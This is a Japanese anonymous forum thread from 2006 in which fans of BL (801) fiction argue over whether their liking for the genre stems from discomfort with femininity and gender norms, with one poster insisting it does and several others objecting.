06/11/06 21:09:01 GlBgFQ7o0
議論の前提として、ちとID:bHggrpOE0に確認したい
あなたは
　
「801に走る人はすべからく女という性に違和感を感じている人で、
ただそれを意識している人と意識していない（少なくとも表層的には）人がいるだけだ」

という意見？

76:風と木の名無しさん
06/11/06 21:16:35 bHggrpOE0
>>75
多かれ少なかれ、基本的にはそうだと思ってる。
トランスセクシュアルではないかと悩んでる人から、些細なひっかかりを覚えるだけの人まで
違和感の程度はさまざまだろうけど。
それに自覚的である人と、無意識のうちに封じ込めてる人がいるだけだと思ってるよ。
ただ、最近のBLの普及で、本当に全く何の違和感も持ってない人も
８０１を読んでることはあるだろうとは思う。
そういう人は、一過性のものとして卒業していける人じゃないかな。

77:風と木の名無しさん
06/11/06 21:19:58 U4wvT2mu0
>74
どちらかと言うと後者じゃないかな？
ただ、801を読んでる人の中でその社会で生きている上で女性と言うことで
有形無形、強弱の差はあれどこかでジェンダー的規範を押し付けられることは
無い人はいないでしょうが、それにどの程度反発やプレッシャーを感じているかは
人により異なる（常に意識してたまらなくストレスを感じている人から、その存在は
常に感じているが慣れや諦め等の理由から軽減している人、その存在を顕在意識に
感じるほど負に感じていないで順応している人など）。
ただ801ってJUNE時代とかから苦しんでる人の割合が多く見えるし、実際そういうネタも
多い気がする。
それを全く考慮に入れない発言はそういう人の反発を受けやすいと思うし、逆に前者の
感じている人も後者の場合もあるってことで流してないと平行線にしかならないと思う。

78:風と木の名無しさん
06/11/06 21:30:45 ZpvZIL6z0
違和を感じて初めて思考するわけだから、違和感感じない→思考停止ってのはおかしいんでない？
それに思考停止っていうけど考えないこと即ち悪ではない。
たとえば四六時中人生について考えてたらそもそも人生が成り立たないんじゃないか。

それはさておき、
女性性に違和感→801　はあっても
801→女性性に違和感　は強引過ぎだと思う。
女性性に違和感や葛藤があっても801を好まない人が居ることを考えると
両者をイコールで結ぶべきではないと思う。
801の読み方、好みの方向性まで多岐にわたるのに
801を読む理由だけはみんな同じでないといけないの？

79:風と木の名無しさん
06/11/06 21:40:07 Ksy+gBjN0
801を好む人はこうあるべきだ、という考え方は
女はこうあるべきだ、という考え方と同じじゃないの？
どちらも多様性を否定してる。

80:風と木の名無しさん
06/11/06 21:41:15 bHggrpOE0
>>78
じゃあ、そういう人は、何で自分の身体を物語の中に持ってこれないのかの
説明をしてほしい。
自分の身体をどこかにやっちゃわなければ、物語にのめりこめないのは何故？
いい男が２人いれば２倍お得！なら、男２人と女１人の３Pでもいいわけだ。
女１人に複数の男が言い寄ってくる、乙女ゲーみたいな設定でもいいよね。

81:風と木の名無しさん
06/11/06 21:52:04 O0tQNkSZ0
>>80そういうがどこを指すかわからないのだが。

私の言いたいのは、何故801を読む理由をたった一つの型に押し込めないといけないのかってことだよ。
違和感を感じる人と感じない人両方あってかまわないのに、どうして「本来」とか「無意識」という言葉で、
あなたの801読みの定義に当てはまらない人を否定しようとするのかってことだよ。　

82:風と木の名無しさん
06/11/06 21:53:28 bHggrpOE0
>>81
納得できる意見を見たことがないから説明してほしい、ということが
あなたにとってはそんなに不快なことなの？

83:風と木の名無しさん
06/11/06 21:56:31 oGW/UXsk0
いや、だからどこを説明してほしいのか読み取れないって言ってるんだけど。
あなたのいう「そういう人」は私の文のどこを指すの？

84:風と木の名無しさん
06/11/06 21:57:20 bHggrpOE0
>>83
そんな頻繁にID切り替えたら、あなたが誰か分からんやん。

85:風と木の名無しさん
06/11/06 22:02:53 KHG9SqUI0
78＝81＝84だよ。
パソコンからじゃないからID固定されなくてすまないが。

86:風と木の名無しさん
06/11/06 22:03:32 Ksy+gBjN0
>>84
あなたは説明してもわからない人だと思う。
なぜなら理解しようという気が全くないから。
あなたは自分が人間だということに違和感をもってるの？
持ってないのなら、女であることに違和感を感じていない人の感覚はそれ。持っているのなら
801が女である自分への違和感から来るものなのなら、人間としての違和感からは何が来てる？

87:風と木の名無しさん
06/11/06 22:05:01 TlYS+r2T0
>>77
それって別に801好きにかぎった事じゃないよね

801好きの人はどうして801好きなんだろうっていうのは
わりと通る道だと思う。JUNEも読んでたし温帯の本を読んだりした
けど明確な答えは出なかった。801から離れた時期もあったり
もどってきたりしてるけど、今はほかの分野の作品を読むのと
変わらないんだよね。一番近いのが少女漫画を読む感じに近い
77さんの言葉でいうと順応なのかな
順応してれば違和感を感じなくて当然じゃないのかな
根本的に違和感があるのを押し隠してるっていうのかもしれないけど
それは801好き特有のものじゃなくて、思春期の時にいろいろ考える
のと大差ないと思う

88:風と木の名無しさん
06/11/06 22:17:48 esK+ws5o0
bHggrpOE0の中で腐兄の存在はどうなっているのだろうか
腐兄も同じ理由で801読んでると思ってるの？

89:風と木の名無しさん
06/11/06 22:19:23 bHggrpOE0
>>85
あなたは、女性性への違和感を感じていない人も８０１にのめりこんでいると考える、
という立場の人だよね？
「そういう人」は、あなたの特定の一文を指してるのではなく、
あなたの文全体を受けた上での、
「女性性に違和感を感じていないが８０１にのめりこんでる人」と取ってもらえればありがたい。

で、女性性への違和感を感じない人が８０１にのめりこむとして、
女性性への違和感がないなら、何で自分の身体を物語の中に持ってこれないかの
説明をしてもらいたいわけだ。
巷間よく言われる、男が喘いでるところが見たい、とかならペニバンじゃ何でダメなの？と思うし
女に押し倒されるような男は嫌、なら、
女は男を押し倒してはいけない、男は女に押し倒されてはいけない、という
社会規範との摩擦みたいなのが垣間見えるじゃん、と思うわけよ。

90:風と木の名無しさん
06/11/06 22:27:46 Ksy+gBjN0
>>801
なんで女性性への違和感を感じていても、801に走らない人がいるの？

91:風と木の名無しさん
06/11/06 22:28:14 e7TO2fDS0
女性性への違和感＝女はこうだって決めつけられるのが嫌

って、そういう事を一度たりとも考えた事が無い女の方がレアでは？
誰だって（特に思春期の頃は）通る道でしょ、それ。
801なんて全く興味が無い人であっても。
勿論人によって強弱の違いはあるだろうけど。

92:風と木の名無しさん
06/11/06 22:30:04 bHggrpOE0
>>90
必要条件と十分条件の違い

で、私の質問には回答できないの？

93:風と木の名無しさん
06/11/06 22:33:20 U4wvT2mu0
>87
女性性に違和感イコール801、と言うわけではないと思う。
根本的に違和感をずっと感じ続けるわけではないしね。
ずっとしこりになって感じ続ける人もいれば時間が解決する（もしくは
そこまで感じなくなったり慣れたり）こともあるし。違和感を違和感として
そのまま飲み込んで生きることだって可能だし。
ただ、やっぱりそこに全力投球でそれをテーマのようにして801を読み書きしている
層は厳然としてあると思う。

なんか陳腐だし何の解決にもならんが結局「人それぞれ」にしかならんような気がしてならない…

94:風と木の名無しさん
06/11/06 22:39:30 GlBgFQ7o0
>>なんで女性性への違和感を感じていても、801に走らない人がいるの？

>>女性性への違和感＝女はこうだって決めつけられるのが嫌
>>って、そういう事を一度たりとも考えた事が無い女の方がレアでは？

あ～なるほど、そう考えると
「山ほどいるであろう女性性に違和感を感じている女の中で、
　何故801者だけが801に走るのか？」
って設問も可能だわな。これは考えたことなかったなあ…

95:78
06/11/06 22:45:40 rzrTIjKu0
>>89
私の主旨は、つきつめると「多様性を否定しないで欲しい」なんだけど……。
それでも私が「違和感ない人が801を好む理由」を証明しなきゃならないの？

女性性に違和感＝801だと思ってるからそうじゃない人の説明を求めてるんだろうけど
そもそもイコールだと思わない人はあなたに説明する言葉をもたないと思う。
好きな理由を求められても好きだからとしか言えない。
そこを考えるスレではあるけど、最初に結論ありきでは順番が逆だ。

96:風と木の名無しさん
06/11/06 22:47:50 bHggrpOE0
>>95
＞好きな理由を求められても好きだからとしか言えない。
だったらこんなスレ必要ないじゃん。
その理由を突き詰めて考えよう、という主旨のスレじゃないの？

97:風と木の名無しさん
06/11/06 22:53:25 bHggrpOE0
＞そこを考えるスレではあるけど、
も書いてたんだな。すまんね。さすがにちょっと疲れてきた。

98:風と木の名無しさん
06/11/06 22:54:10 Ksy+gBjN0
>>96
>>1を見た？

>>腐女子･腐兄が８０１やその他のエロについて考察するスレ

女性性の否定→801、というスレではありません。

99:風と木の名無しさん
06/11/06 22:55:47 bHggrpOE0
>>98
煽るだけなら書き込まなくていいから

100:風と木の名無しさん
06/11/06 22:57:57 e7TO2fDS0
ジェンダー・セクシャリティ系のブログとかが好きで、
そう言う話題が出ている所をよく読むけれど、
女性性への違和感を語る女性（大勢居る）の属性は本当に色々。
腐女子も居れば男性向け二次元エロ好きも居れば実写AV好きも居れば
エロ興味ない人も居るし恋愛物語自体に興味が無い人も居る
801好きだけが特別に「女性性への違和感を持つ人が多い」とは思えない。

101:風と木の名無しさん
06/11/06 23:00:27 Ksy+gBjN0
>>99
都合の悪いレスには「煽り」か「無視」？

102:風と木の名無しさん
06/11/06 23:01:22 U4wvT2mu0
ただ、そこを底にした話って展開しやすいんだよね、正直。>ジェンダー
男同士って設定が親和性あるのかもしれん。

103:風と木の名無しさん
06/11/06 23:02:30 bHggrpOE0
>>101
それで、何で質問に回答してくれないのかなー
回答できないことの言い訳なら、転送量の無駄だし、いらんよ。

104:風と木の名無しさん
06/11/06 23:05:06 3pCD01Xg0
女性性に違和感がある人がおおいなら
もっと雄々しい男同士がはやると思う

105:風と木の名無しさん
06/11/06 23:06:18 Ksy+gBjN0
>>103
だから回答してるよ。
「あなたは理解しようと思ってない。だから理解できない」
あなたは前の方で違和感を感じないことは思考停止、と言ってる。
だから私はそんなにいろんなことに違和感感じてれば（当然ですよね。そうでなければ思考停止
なんだから）そりゃ疲れるでしょう、と言った。もちろん私は大概のことにそんな違和感は感じない。
そして「人間であることに違和感を感じますか？」と聞いている。私は人間であることを自然と感じる
ように、女性性を自然に受け止めているから。
感じるの？感じないの？どちら？
感じないのならそれは思考停止ってことになるんじゃないの？感じるのなら、それはどんな形であ
なたに影響が出ているの？女性性への違和感が801という形で表現されてるように。

106:風と木の名無しさん
06/11/06 23:08:08 bHggrpOE0
>>105
それ、回答できないことの言い訳じゃん。
転送量の無駄

107:風と木の名無しさん
06/11/06 23:10:15 Ksy+gBjN0
>>106
別にあなたが違和感を感じることはそれはそれで別にいいんだけど、押しつけられるのは嫌です。
あなたはあなた、私は私、他の人もそれぞれ別の人。
行動の要因も、趣味も、嗜好も、人それぞれ。それが当然。
あなたは理解できないんじゃなくて、知ってるけどをそれを受け入れることを拒んでるだけに見える。

108:78=95
06/11/06 23:12:07 sM0+yL6p0
私の考えでは、801が好まれる理由のうち、女性性への違和感は30～50％は占めてると思う。
これは主観なので人によってパーセンテージは違うだろうが、それでも100ではないだろう。
その、「女性性への違和感でない部分」についての考察や、その部分を求めて801を好きな人がこぼれ落ちるから、
801＝女性性への違和感(や葛藤)と言い切るのは待ってほしい。

94の言う「女性性への違和感を抱くもののうち、801者だけが801を選択するのは何故か？」という設問を
違和感＝801の等式では説明できないと思うんだよ。

109:風と木の名無しさん
06/11/06 23:15:34 bHggrpOE0
>>107
人それぞれで終われば、こんなスレは不要、という話。
女性性を自然に受け止められるなら、８０１なんか必要ないのでは？
男男の物語には、あなたの身体の入る場所はないよ。何でそういう物語を求めるの？
それとも、８０１は別に好きじゃない人？

>>108
必要条件と十分条件って言ってんじゃん。誰が等式で結んでるって？

110:風と木の名無しさん
06/11/06 23:19:27 Ksy+gBjN0
>>108
複合的な要因なんだと思うよ。
ここまでジャンルやタイプが広がっているわけだから、801や腐女子というくくりのなかで
そういう考察は厳しいと思う。
好きな801やカップリングの傾向ごとで、というのなら少しは絞れるだろうけど、それもかな
り範囲を狭めないと重なる部分が少なくなるし。

111:風と木の名無しさん
06/11/06 23:28:05 JsysdoLg0
>>108
801ってもともと漫画とか小説からはじまったんだよね
だったらそういうのが好きな人は801にはいるし、興味ない人は
ほかの方面にいくだけじゃない
ヲタク気質かそうでないか

112:風と木の名無しさん
06/11/06 23:44:54 JsysdoLg0
>>109
必要条件と十分条件ってどういう意味？
等式じゃないってことは違和感をもってない人もいるってことを
認めるって事？

113:風と木の名無しさん
06/11/06 23:46:15 Be8XvKQ+0
>>105
ここまでロムってたけど、確かに「決めつけないで欲しい」だけでは
意見に説得力ないと思う。反証しようよ。

114:風と木の名無しさん
06/11/06 23:46:50 e7TO2fDS0
>>2のまとめだけ読んでも
「女性性への違和感」以外の理由が多数混じっているような気がするんだが

>>111
今でもヲタ系漫画・小説に興味持たない人は存在すら知らないだろうね＜801

115:風と木の名無しさん
06/11/06 23:52:48 2zJcIrX0O
>>112
小学校の算数の時間からやり直そうよ…
煽るつもりじゃなくて、マジで

116:風と木の名無しさん
06/11/06 23:54:44 JsysdoLg0
>>115
煽るつもりじゃないなら答えて

117:風と木の名無しさん
06/11/06 23:56:56 Ksy+gBjN0
>>116
URLﾘﾝｸ(www002.upp.so-net.ne.jp)
参考にどうぞ
>>115
小学校では習わないよ。

118:風と木の名無しさん
06/11/07 00:01:41 QIPpT5v60
証明できないものに必要も十分もないよ。

Aが801好きである→Aが女性性に違和感がある　が常に正しく
Aが女性性に違和感がある→Aか801好きである　が間違いであれば
Aが801好きであることはAが女性性に違和感があることの十分条件であるといえる

けど、そもそも「Aが801好きである→Aが女性性に違和感」が証明されてない。
801好きだが女性性に違和感がない人がいることが既に反証になってる。
最初に801好きがいて801が好きな理由を考えてるのに、
条件にあてはまらないから801好きではないなんて本末転倒もいいとこ。
結論が先では順番が逆だって言ってるのに。

119:風と木の名無しさん
06/11/07 00:10:24 4RW1c+xy0
男でレズモノ好きが男性性に違和感感じてるかっていうと、
ほとんどそんな人いないんじゃないかな？
ただ単に、女同士が絡んで2倍ウマーなだけなんじゃないかと。
自分は男じゃないから想像でしか言えてないけど、
それと同じ感覚の女性が８０１好き層にも存在すると思うんだ。

自分自身が、女性性に違和感感じて801好きな分類に当てはまる立場なんで
これも想像でしかない。
したがって説得力はないんだけど、自分とは違う理由ではまってる人もいる、ってことは
なんとなく理解できる。

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